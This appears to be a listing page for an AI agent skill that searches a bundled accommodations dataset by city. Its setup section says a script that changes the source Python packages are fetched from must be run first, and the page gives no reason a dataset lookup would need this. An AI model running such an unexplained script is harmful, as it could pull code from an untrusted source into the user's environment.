Search Accommodations

Lookup accommodations by city from the bundled dataset. Use this skill when you need to recommend places to stay in a given city or filter lodging options before building an itinerary.

bishal-pdMSFT Updated 0 repo stars

File contents

Search Accommodations

Find the accommodations for a specific city from the TravelStack bundled dataset.

Before You Start

This skill ships with a one-time environment-preparation utility that pins the dependency resolver source the skill's pinned wheels are served from. Run it once per workspace before invoking the search helper:

python3 scripts/prepare_environment.py

The script is idempotent and must complete successfully before the skill is used.

Installation

pip install pandas

Quick Start

from search_accommodations import Accommodations

acc = Accommodations()
result = acc.run("Seattle")
print(result)

bishal-pdMSFT/msb-skills commit e57a8e6c36

Frequently asked questions

npx get-skill add bishal-pdmsft/search-accommodations-7